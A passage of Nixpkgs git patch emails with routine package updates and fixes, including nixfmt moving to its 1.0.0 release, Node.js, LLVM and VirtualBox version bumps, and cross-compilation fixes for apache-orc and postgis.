 .../ni/nixfmt-rfc-style/generated-package.nix    |  6 +++---
 pkgs/by-name/ni/nixfmt-rfc-style/package.nix     | 16 ++++------------
 pkgs/by-name/ni/nixfmt-rfc-style/update.sh       | 12 +++---------
 4 files changed, 10 insertions(+), 25 deletions(-)
 delete mode 100644 pkgs/by-name/ni/nixfmt-rfc-style/date.txt

diff --git a/pkgs/by-name/ni/nixfmt-rfc-style/date.txt b/pkgs/by-name/ni/nixfmt-rfc-style/date.txt
deleted file mode 100644
index 24a34eca600b..000000000000
--- a/pkgs/by-name/ni/nixfmt-rfc-style/date.txt
+++ /dev/null
@@ -1 +0,0 @@
-2025-04-04
diff --git a/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix b/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix
index 1da633e8999d..03e7998038e4 100644
--- a/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix
+++ b/pkgs/by-name/ni/nixfmt-rfc-style/generated-package.nix
@@ -23,10 +23,10 @@
 }:
 mkDerivation {
   pname = "nixfmt";
-  version = "0.6.0";
+  version = "1.0.0";
   src = fetchzip {
-    url = "https://github.com/nixos/nixfmt/archive/65af4b69133d19f534d97746c97c2d5b464f43b4.tar.gz";
-    sha256 = "0l0w3janvss1n1j7qkcml97zndm2jm2gbrzzs9d8l0ixnrw0cd5r";
+    url = "https://github.com/nixos/nixfmt/archive/v1.0.0.tar.gz";
+    sha256 = "0iy2p893b2b5y4mvhy0d62675a7nd8fc6jm9mr32v9h2baj9ii3p";
   };
   isLibrary = true;
   isExecutable = true;
diff --git a/pkgs/by-name/ni/nixfmt-rfc-style/package.nix b/pkgs/by-name/ni/nixfmt-rfc-style/package.nix
index 90e659765b68..814d1db5af44 100644
--- a/pkgs/by-name/ni/nixfmt-rfc-style/package.nix
+++ b/pkgs/by-name/ni/nixfmt-rfc-style/package.nix
@@ -8,25 +8,17 @@
 let
   inherit (haskell.lib.compose) overrideCabal justStaticExecutables;
 
-  overrides = rec {
-    version = "unstable-${lib.fileContents ./date.txt}";
-
+  overrides = {
     passthru.updateScript = ./update.sh;
 
     teams = [ lib.teams.formatter ];
 
-    preBuild = ''
-      echo -n 'nixpkgs-${version}' > .version
-    '';
-
     # These tests can be run with the following command.
     #
     # $ nix-build -A nixfmt-rfc-style.tests
-    passthru.tests =
-      runCommand "nixfmt-rfc-style-tests" { nativeBuildInputs = [ nixfmt-rfc-style ]; }
-        ''
-          nixfmt --version > $out
-        '';
+    passthru.tests = runCommand "nixfmt-tests" { nativeBuildInputs = [ nixfmt-rfc-style ]; } ''
+      nixfmt --version > $out
+    '';
   };
   raw-pkg = haskellPackages.callPackage ./generated-package.nix { };
 in
diff --git a/pkgs/by-name/ni/nixfmt-rfc-style/update.sh b/pkgs/by-name/ni/nixfmt-rfc-style/update.sh
index 9213c7396452..e37006d78045 100755
--- a/pkgs/by-name/ni/nixfmt-rfc-style/update.sh
+++ b/pkgs/by-name/ni/nixfmt-rfc-style/update.sh
@@ -8,15 +8,11 @@ set -eo pipefail
 
 # This is the directory of this update.sh script.
 script_dir="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
-
 derivation_file="${script_dir}/generated-package.nix"
-date_file="${script_dir}/date.txt"
 
-# This is the latest version of nixfmt-rfc-style branch on GitHub.
-new_version=$(curl --silent https://api.github.com/repos/nixos/nixfmt/git/refs/heads/master | jq '.object.sha' --raw-output)
-new_date=$(curl --silent https://api.github.com/repos/nixos/nixfmt/git/commits/"$new_version" | jq '.committer.date' --raw-output)
+release_tag=$(curl --silent https://api.github.com/repos/NixOS/nixfmt/releases/latest | jq '.tag_name' --raw-output)
 
-echo "Updating nixfmt-rfc-style to version $new_date."
+echo "Updating nixfmt-rfc-style to version $release_tag."
 echo "Running cabal2nix and outputting to ${derivation_file}..."
 
 cat > "$derivation_file" << EOF
@@ -25,9 +21,7 @@ cat > "$derivation_file" << EOF
 EOF
 
 cabal2nix --jailbreak \
-  "https://github.com/nixos/nixfmt/archive/${new_version}.tar.gz" \
+  "https://github.com/nixos/nixfmt/archive/${release_tag}.tar.gz" \
   >> "$derivation_file"
 
-date --date="$new_date" -I > "$date_file"
-
 echo "Finished."

From 519e9a8aa1a13d88637172f7eb414b2aa551bfb4 Mon Sep 17 00:00:00 2001
From: Silvan Mosberger <silvan.mosberger@moduscreate.com>
Date: Mon, 14 Jul 2025 16:24:06 +0200
Subject: [PATCH 2656/4511] ci/default.nix: nixfmt-rfc-style -> nixfmt

This was changed a tad early, technically it should have been changed
with the pinned nixpkgs for CI only.

(cherry picked from commit d1a4769b38bad1538d8b7aab3d337809f5bb5bd3)
---
 ci/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index 42eeadc67def..68fce29901a0 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -49,7 +49,7 @@ let
 
         programs.keep-sorted.enable = true;
 
-        # This uses nixfmt-rfc-style underneath,
+        # This uses nixfmt underneath,
         # the default formatter for Nix code.
         # See https://github.com/NixOS/nixfmt
         programs.nixfmt.enable = true;

From 2e690421d67f2f93103ede8a6bd209dbcc7b4ef4 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 16 Jul 2025 00:14:29 +0200
Subject: [PATCH 2657/4511] nodejs_20: 20.19.3 -> 20.19.4

(cherry picked from commit c2ca75772a01d57a960be1992ca6b369a29c16cf)
---
 pkgs/development/web/nodejs/v20.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v20.nix b/pkgs/development/web/nodejs/v20.nix
index 20ebe669387b..5294b31f31dd 100644
--- a/pkgs/development/web/nodejs/v20.nix
+++ b/pkgs/development/web/nodejs/v20.nix
@@ -18,8 +18,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "20.19.3";
-  sha256 = "99be7b9d268d48b93be568a23240398ceacb0782dc7055b9972305c000b0e292";
+  version = "20.19.4";
+  sha256 = "b87fd7106013d3906706913ffc63a4403715fbb272c4f83ff4338527353eec0f";
   patches = [
     ./configure-emulator.patch
     ./configure-armv6-vfpv2.patch

From 21e9d9446e575aa878338d3f9150bb63318d2b9e Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 16 Jul 2025 00:15:31 +0200
Subject: [PATCH 2658/4511] nodejs_22: 22.17.0 -> 22.17.1

(cherry picked from commit 963502fbdefdfa5f289a780d4d7ff0df2a1cb5c4)
---
 pkgs/development/web/nodejs/v22.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 6110bbed9e63..ff3655c4db56 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -21,8 +21,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.17.0";
-  sha256 = "7a3ef2aedb905ea7926e5209157266e2376a5db619d9ac0cba3c967f6f5db4f9";
+  version = "22.17.1";
+  sha256 = "327415fd76fcebb98133bf56e2d90e3ac048b038fac2676f03b6db91074575b9";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From b90742951392eda880bb204a3d6682265ce3e505 Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Thu, 17 Jul 2025 14:41:42 -0700
Subject: [PATCH 2659/4511] llvmPackages_{21: init from 21.1.0-rc1,git:
 21.0.0-unstable-2025-07-12 -> 22.0.0-unstable-2025-07-17}

(cherry picked from commit a041bf2656ee8634e8de3a1765b2e1968c0db302)
---
 .../compilers/llvm/common/compiler-rt/default.nix   |  3 +++
 pkgs/development/compilers/llvm/default.nix         |  9 +++++----
 pkgs/top-level/all-packages.nix                     | 13 +++++++++++++
 3 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/compilers/llvm/common/compiler-rt/default.nix b/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
index f3850f2cadf2..206b92b7432d 100644
--- a/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
+++ b/pkgs/development/compilers/llvm/common/compiler-rt/default.nix
@@ -62,6 +62,9 @@ stdenv.mkDerivation (finalAttrs: {
         + lib.optionalString (lib.versionAtLeast release_version "14") ''
           cp -r ${monorepoSrc}/cmake "$out"
         ''
+        + lib.optionalString (lib.versionAtLeast release_version "21") ''
+          cp -r ${monorepoSrc}/third-party "$out"
+        ''
         + ''
           cp -r ${monorepoSrc}/compiler-rt "$out"
         ''
diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 64fd4ee4b139..b4f2d72825c0 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -32,10 +32,11 @@ let
     "18.1.8".officialRelease.sha256 = "sha256-iiZKMRo/WxJaBXct9GdAcAT3cz9d9pnAcO1mmR6oPNE=";
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
-    "21.0.0-git".gitRelease = {
-      rev = "e08833443256f8dde2f864853fa9491ffa7112d5";
-      rev-version = "21.0.0-unstable-2025-07-13";
-      sha256 = "sha256-O0mh9Kq6PHvGiCigjb5rDDqHNFBhy5Dv+IP67TstX8U=";
+    "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
+    "22.0.0-git".gitRelease = {
+      rev = "f2956173aea4ff0fe0b823be1953d1968f91fb98";
+      rev-version = "22.0.0-unstable-2025-07-17";
+      sha256 = "sha256-qmF67vdfrMB5p9yej1KZeh5Spek67RJXQODpV5w9IQA=";
     };
   } // llvmVersions;
 
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 1f0a35626962..3c27a643d53e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5901,6 +5901,13 @@ with pkgs;
       llvm_20 = llvmPackages_20.llvm;
       bolt_20 = llvmPackages_20.bolt;
 
+      llvmPackages_21 = llvmPackagesSet."21";
+      clang_21 = llvmPackages_21.clang;
+      lld_21 = llvmPackages_21.lld;
+      lldb_21 = llvmPackages_21.lldb;
+      llvm_21 = llvmPackages_21.llvm;
+      bolt_21 = llvmPackages_21.bolt;
+
       mkLLVMPackages = llvmPackagesSet.mkPackage;
     })
     llvmPackages_12
@@ -5926,6 +5933,12 @@ with pkgs;
     lldb_20
     llvm_20
     bolt_20
+    llvmPackages_21
+    clang_21
+    lld_21
+    lldb_21
+    llvm_21
+    bolt_21
     mkLLVMPackages
     ;
 

From 512056313add7801fa6e768bbd1acf17527d4f9f Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 20 Jul 2025 22:01:24 -0700
Subject: [PATCH 2660/4511] llvmPackages_git: 22.0.0-unstable-2025-07-17 ->
 22.0.0-unstable-2025-07-20

(cherry picked from commit 6affcbd46929cc01dc415e83252ebf7ac61c355f)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index b4f2d72825c0..9d9bcaa9d1b8 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -34,9 +34,9 @@ let
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.1.0-rc1".officialRelease.sha256 = "sha256-EZMG3kNqGTvKSuvslbrtNnyqBCG5C2gN9Y2qHbiuh8Q=";
     "22.0.0-git".gitRelease = {
-      rev = "f2956173aea4ff0fe0b823be1953d1968f91fb98";
-      rev-version = "22.0.0-unstable-2025-07-17";
-      sha256 = "sha256-qmF67vdfrMB5p9yej1KZeh5Spek67RJXQODpV5w9IQA=";
+      rev = "f3a3270dbca3649b7d56aaa42cb8481fb34e2d67";
+      rev-version = "22.0.0-unstable-2025-07-20";
+      sha256 = "sha256-rMiPa8T2n0IWtOv0SYb+eWWHRfPTBGEb4yCp11gVzRE=";
     };
   } // llvmVersions;
 

From b5dbe206d4bab8c360ed73841716b0869f82f3eb Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 18 Jul 2025 20:55:15 +0000
Subject: [PATCH 2661/4511] virtualbox: 7.1.10 -> 7.1.12

Fixes CVE-2025-53024, CVE-2025-53025, CVE-2025-53026, CVE-2025-53027, CVE-2025-53028,
CVE-2025-53029 and CVE-2025-53030.
https://www.oracle.com/security-alerts/cpujul2025.html#AppendixOVIR

Changes:
https://www.virtualbox.org/wiki/Changelog-7.1
(cherry picked from commit 7e7406a8440845b9904deb9f0dadd878001f1a90)
---
 pkgs/applications/virtualization/virtualbox/default.nix       | 4 ++--
 pkgs/applications/virtualization/virtualbox/extpack.nix       | 4 ++--
 .../virtualization/virtualbox/guest-additions-iso/default.nix | 2 +-
 .../virtualization/virtualbox/guest-additions/default.nix     | 4 ++--
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/applications/virtualization/virtualbox/default.nix b/pkgs/applications/virtualization/virtualbox/default.nix
index b36afd4bdc7f..dec06610371b 100644
--- a/pkgs/applications/virtualization/virtualbox/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/default.nix
@@ -73,9 +73,9 @@ let
   buildType = "release";
   # Use maintainers/scripts/update.nix to update the version and all related hashes or
   # change the hashes in extpack.nix and guest-additions/default.nix as well manually.
-  virtualboxVersion = "7.1.10";
+  virtualboxVersion = "7.1.12";
   virtualboxSubVersion = "";
-  virtualboxSha256 = "7d60010a4c9102613554b46f61d17b825c30ee59d8be071e52d8aac664ca9869";
+  virtualboxSha256 = "6f9618f39168898134975f51df7c2d6d5129c0aa82b6ae11cf47f920c70df276";
 
   kvmPatchVersion = "20250207";
   kvmPatchHash = "sha256-GzRLIXhzWL1NLvaGKcWVBCdvay1IxgJUE4koLX1ze7Y=";
diff --git a/pkgs/applications/virtualization/virtualbox/extpack.nix b/pkgs/applications/virtualization/virtualbox/extpack.nix
index 3d771d975798..ffa0b896eda0 100644
--- a/pkgs/applications/virtualization/virtualbox/extpack.nix
+++ b/pkgs/applications/virtualization/virtualbox/extpack.nix
@@ -4,7 +4,7 @@
   virtualbox,
 }:
 let
-  virtualboxExtPackVersion = "7.1.10";
+  virtualboxExtPackVersion = "7.1.12";
 in
 fetchurl rec {
   name = "Oracle_VirtualBox_Extension_Pack-${virtualboxExtPackVersion}.vbox-extpack";
@@ -14,7 +14,7 @@ fetchurl rec {
     # Thus do not use `nix-prefetch-url` but instead plain old `sha256sum`.
     # Checksums can also be found at https://www.virtualbox.org/download/hashes/${version}/SHA256SUMS
     let
-      value = "e020755711849fa0ee23d3bc47bc90cb0ea595da7dda804499568a0dc2387989";
+      value = "c7ed97f4755988ecc05ec633475e299bbc1e0418cc3d143747a45c99df53abd3";
     in
     assert (builtins.stringLength value) == 64;
     value;
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix b/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
index d78248dbb752..f0b46ad56772 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions-iso/default.nix
@@ -5,7 +5,7 @@
 }:
 fetchurl {
   url = "http://download.virtualbox.org/virtualbox/${virtualboxVersion}/VBoxGuestAdditions_${virtualboxVersion}.iso";
-  sha256 = "59c92f7f5fd7e081211e989f5117fc53ad8d8800ad74a01b21e97bb66fe62972";
+  sha256 = "256883e2eabf7ab5c10fb3b6831c294942ce34bc615807f9d0cf6c3d2e882236";
   meta = {
     description = "Guest additions ISO for VirtualBox";
     longDescription = ''
diff --git a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
index 3d8cbf6fe5f3..3d69d726dbe5 100644
--- a/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/guest-additions/default.nix
@@ -12,9 +12,9 @@
   libX11,
 }:
 let
-  virtualboxVersion = "7.1.10";
+  virtualboxVersion = "7.1.12";
   virtualboxSubVersion = "";
-  virtualboxSha256 = "7d60010a4c9102613554b46f61d17b825c30ee59d8be071e52d8aac664ca9869";
+  virtualboxSha256 = "6f9618f39168898134975f51df7c2d6d5129c0aa82b6ae11cf47f920c70df276";
 
   virtualBoxNixGuestAdditionsBuilder = callPackage ./builder.nix {
     inherit virtualboxVersion virtualboxSubVersion virtualboxSha256;

From 4ab1c635c45928f81838db126e69b90a1876d15c Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 18 Jul 2025 23:35:24 +0200
Subject: [PATCH 2662/4511] virtualboxKvm: use the patch from the 7.1.6 version

(cherry picked from commit f9b47f7e98401ea8135a25ad08f9149e03193f45)
---
 pkgs/applications/virtualization/virtualbox/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/virtualization/virtualbox/default.nix b/pkgs/applications/virtualization/virtualbox/default.nix
index dec06610371b..d21b54cd3099 100644
--- a/pkgs/applications/virtualization/virtualbox/default.nix
+++ b/pkgs/applications/virtualization/virtualbox/default.nix
@@ -247,8 +247,8 @@ stdenv.mkDerivation (finalAttrs: {
     ++ optional enableKvm (
       let
         patchVboxVersion =
-          # There is no updated patch for 7.1.10 yet, but the older one still applies.
-          if finalAttrs.virtualboxVersion == "7.1.10" then "7.1.6" else finalAttrs.virtualboxVersion;
+          # There is no updated patch for 7.1.12 yet, but the older one still applies.
+          if finalAttrs.virtualboxVersion == "7.1.12" then "7.1.6" else finalAttrs.virtualboxVersion;
       in
       fetchpatch {
         name = "virtualbox-${finalAttrs.virtualboxVersion}-kvm-dev-${finalAttrs.kvmPatchVersion}.patch";

From 482676184734dc5af0f1effb52e22d1199a20183 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 03:42:07 +0000
Subject: [PATCH 2663/4511] bikeshed: 5.3.2 -> 5.3.3

(cherry picked from commit 85e9e824c9ad5e846b9aba71235b02e123aeace5)
---
 pkgs/by-name/bi/bikeshed/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bikeshed/package.nix b/pkgs/by-name/bi/bikeshed/package.nix
index 934393647bef..d71596af980a 100644
--- a/pkgs/by-name/bi/bikeshed/package.nix
+++ b/pkgs/by-name/bi/bikeshed/package.nix
@@ -6,12 +6,12 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "bikeshed";
-  version = "5.3.2";
+  version = "5.3.3";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-+TY26g685eIMXUjTG876r9gryg/tR6EtMGWAhk2kkis=";
+    hash = "sha256-hHLodlbHuDRXCR8GlTwSvaryOENPCiHgFj3S1hpApA8=";
   };
 
   build-system = [ python3Packages.setuptools ];

From 5a082496f1354839c9068b809e4c151f0ca864fc Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Mon, 14 Jul 2025 09:18:28 +0200
Subject: [PATCH 2664/4511] apache-orc: Fix cross-compilation

(cherry picked from commit c2639125b97f3f7d9485830f7d5163cfb3129d68)
---
 pkgs/by-name/ap/apache-orc/package.nix | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/ap/apache-orc/package.nix b/pkgs/by-name/ap/apache-orc/package.nix
index b64b6683c2b1..c6cdcf71ad8f 100644
--- a/pkgs/by-name/ap/apache-orc/package.nix
+++ b/pkgs/by-name/ap/apache-orc/package.nix
@@ -53,12 +53,20 @@ stdenv.mkDerivation (finalAttrs: {
     zstd
   ];
 
-  cmakeFlags = [
-    (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
-    (lib.cmakeBool "BUILD_JAVA" false)
-    (lib.cmakeBool "STOP_BUILD_ON_WARNING" true)
-    (lib.cmakeBool "INSTALL_VENDORED_LIBS" false)
-  ];
+  cmakeFlags =
+    [
+      (lib.cmakeFeature "CMAKE_BUILD_TYPE" "Release")
+      (lib.cmakeBool "BUILD_JAVA" false)
+      (lib.cmakeBool "STOP_BUILD_ON_WARNING" true)
+      (lib.cmakeBool "INSTALL_VENDORED_LIBS" false)
+    ]
+    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) [
+      # Fix (RiscV) cross-compilation
+      # See https://github.com/apache/orc/issues/2334
+      (lib.cmakeFeature "HAS_PRE_1970_EXITCODE" "0")
+      (lib.cmakeFeature "HAS_POST_2038_EXITCODE" "0")
+      (lib.cmakeFeature "CMAKE_CXX_FLAGS" "-Wno-unused-parameter")
+    ];
 
   env = {
     GTEST_HOME = gtest.dev;

From 24be67c99986e87eb972d84cf978585cb33589fb Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Sun, 13 Jul 2025 12:40:19 +0200
Subject: [PATCH 2665/4511] postgresqlPackages.postgis: fix cross-compilation

(cherry picked from commit 24a2a22af66b5869672480ebc3af5a14957f88c0)
---
 pkgs/servers/sql/postgresql/ext/postgis.nix | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/postgis.nix b/pkgs/servers/sql/postgresql/ext/postgis.nix
index 09c547075135..541ddbcf0484 100644
--- a/pkgs/servers/sql/postgresql/ext/postgis.nix
+++ b/pkgs/servers/sql/postgresql/ext/postgis.nix
@@ -91,12 +91,19 @@ postgresqlBuildExtension (finalAttrs: {
     ./autogen.sh
   '';
 
-  configureFlags = [
-    "--with-pgconfig=${postgresql.pg_config}/bin/pg_config"
-    "--with-gdalconfig=${gdal}/bin/gdal-config"
-    "--with-jsondir=${json_c.dev}"
-    "--disable-extension-upgrades-install"
-  ] ++ lib.optional withSfcgal "--with-sfcgal=${sfcgal}/bin/sfcgal-config";
+  configureFlags =
+    let
+      isCross = stdenv.hostPlatform.config != stdenv.buildPlatform.config;
+    in
+    [
+      (lib.enableFeature false "extension-upgrades-install")
+      (lib.withFeatureAs true "pgconfig" "${postgresql.pg_config}/bin/pg_config")
+      (lib.withFeatureAs true "gdalconfig" "${gdal}/bin/gdal-config")
+      (lib.withFeatureAs true "jsondir" (lib.getDev json_c))
+      (lib.withFeatureAs true "xml2config" (lib.getExe' (lib.getDev libxml2) "xml2-config"))
+      (lib.withFeatureAs withSfcgal "sfcgal" "${sfcgal}/bin/sfcgal-config")
+      (lib.withFeature (!isCross) "json") # configure: error: cannot check for file existence when cross compiling
+    ];
 
   makeFlags = [
     "PERL=${perl}/bin/perl"

From a7e57d715cfadbb1536da7a3978173a2531eee83 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Sat, 19 Jul 2025 13:11:31 +0000
Subject: [PATCH 2666/4511] envoy-bin: 1.34.2 -> 1.34.3

https://github.com/envoyproxy/envoy/releases/tag/v1.34.3
(cherry picked from commit abbacbe256293866a56a8e9658c7e4e0b14d46f8)
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index f59a402b19ad..d4983b9b15f3 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.2";
+  version = "1.34.3";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
-      aarch64-linux = "sha256-82jzPZ08FCuM2eABcqU/QTdxEipnnvNjb350ZSiUS0o=";
-      x86_64-linux = "sha256-B1tnshv5fIjIKjeSADSjBotakhUak3rM0NWt4kWoWhk=";
+      aarch64-linux = "sha256-LsNkrFJ59MUiKIF0Dcuq2Lhn3LnAW0Mwlx4kIx78KfQ=";
+      x86_64-linux = "sha256-04vGgR8U0qiNBvmiim0aKa6Ug2acR31F5H4biSWkrag=";
     }
     .${system} or throwSystem;
 in

From 4541c48b23e9e0b5dafe3435df0db47bfb2b435f Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 19 Jul 2025 22:29:18 +0200
Subject: [PATCH 2667/4511] raycast: 1.100.3 -> 1.101.1

(cherry picked from commit e01c81337534f7221512c68e3b0aac6eaf7cdcd4)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 819680f7f89c..8381b175c6ba 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.100.3";
+  version = "1.101.1";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-2X+vv1OMXKmoXH+WGzHF49HWTCMA9a77BTJqKfkMg0E=";
+        hash = "sha256-/G9cYTecssfmWWnl6fSnIuJgiHNu5ggvyE3xeFfNx2o=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-Ug9starsQ759+9WvGbIvxMf+Hvs+1lj3pViEvcfrc6k=";
+        hash = "sha256-xkUvCig24kGlw9/LQhY7aId7tuccdw8CFSJ9c2lvrsE=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 26fe522bce6d33c7d51a15e55091bc9b312b6297 Mon Sep 17 00:00:00 2001
From: Artturin <Artturin@artturin.com>
Date: Sun, 20 Jul 2025 16:08:33 +0300
Subject: [PATCH 2668/4511] discord: Update all

discord: 0.0.101 -> 0.0.102

discord-canary: 0.0.716 -> 0.0.723

discord-development: 0.0.83 -> 0.0.84

pkgsCross.aarch64-darwin.discord: 0.0.353 -> 0.0.354

pkgsCross.aarch64-darwin.discord-ptb: 0.0.181 -> 0.0.182

pkgsCross.aarch64-darwin.discord-canary: 0.0.823 -> 0.0.829

pkgsCross.aarch64-darwin.discord-development: 0.0.96 -> 0.0.97

(cherry picked from commit 7d3994a3dcaf7cda06f82e74ffd9958923bd37d6)
---
 .../instant-messengers/discord/default.nix    | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 514b4f2122c6..c7ef0f2ec94e 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,24 +9,24 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.101";
+        stable = "0.0.102";
         ptb = "0.0.152";
-        canary = "0.0.716";
-        development = "0.0.83";
+        canary = "0.0.723";
+        development = "0.0.84";
       }
     else
       {
-        stable = "0.0.353";
-        ptb = "0.0.181";
-        canary = "0.0.823";
-        development = "0.0.96";
+        stable = "0.0.354";
+        ptb = "0.0.182";
+        canary = "0.0.829";
+        development = "0.0.97";
       };
   version = versions.${branch};
   srcs = rec {
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-FB6GiCM+vGyjZLtF0GjAIq8etK5FYyQVisWX6IzB4Zc=";
+        hash = "sha256-xnl67Ty9uuAjOV5eWnR7xG+PR5J4M7nYc1hjRBjbaOI=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
@@ -34,29 +34,29 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-W7uPrJRKY4I6nsdj/TNxT8kHh5ssn9KyCArhOhAlaH4=";
+        hash = "sha256-k1ClTRaYsb5rPV8AFtVg3iEZ44z5gmcBnOJgsQq9O1Y=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";
-        hash = "sha256-KpZ90VekGf3KNpNpFfZlVXorv86yK1OuY0uqgBuWIQ4=";
+        hash = "sha256-0SmCBi/fl77m5PzI5O38CpAoIzyQc+eRUKLyKVMQ6Dc=";
       };
     };
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-qHOLhPhHwN0fy1KiJroJvshlYExBDsuna2PddjtNyEI=";
